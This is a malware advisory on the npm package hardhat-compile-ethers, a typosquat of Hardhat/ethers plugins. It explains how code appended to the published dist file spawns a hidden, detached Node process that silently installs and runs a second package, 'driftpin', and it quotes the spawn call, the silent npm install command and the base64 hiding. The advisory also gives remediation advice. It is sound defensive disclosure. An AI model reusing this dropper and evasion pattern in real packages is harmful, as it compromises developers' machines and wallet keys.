hardhat-compile-ethers

Source: amazon-inspector (3bb9781577ff17698d2cb66a6cd832fe8bdda014b30c0c662055a45d42801ac1)
The package's main entry dist/src/index.js contains a payload appended after the legitimate Hardhat exports. On require/import (e.g. when Hardhat loads the user's config), it spawns a detached Node child (`spawn(process.execPath, ['-e', code], {detached:true, stdio:'ignore', windowsHide:true})`) that runs a base64-decoded command to silently `npm install driftpin --no-save --silent --no-audit --no-fund`, then `require('driftpin')` and invoke `getPlugin()()`, executing attacker-controlled code in the installer's Node process. Both the shell command and the module name 'driftpin' are base64-encoded to hide them from casual inspection, and the spawn options (detached, stdio ignored, windows window hidden) are evasion mechanics. The payload is absent from the TypeScript source (src/index.ts) and only appears in the published dist artifact, indicating post-build injection. The package name mimics legitimate Hardhat/ethers plugins (e.g. @nomicfoundation/hardhat-ethers, hardhat-deploy-ethers) and the README is copied from wighawag/hardhat-deploy, making this a typosquat that delivers a dependency-chain dropper. Installers are typically Hardhat development machines that hold wallet keys and signing material, making arbitrary code execution on import especially damaging.

Source: ghsa-malware (c22fdfc4d4e6583aa5a30fb32890d03ffe133e3cfb889deb1adf2d06156e938f)
Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.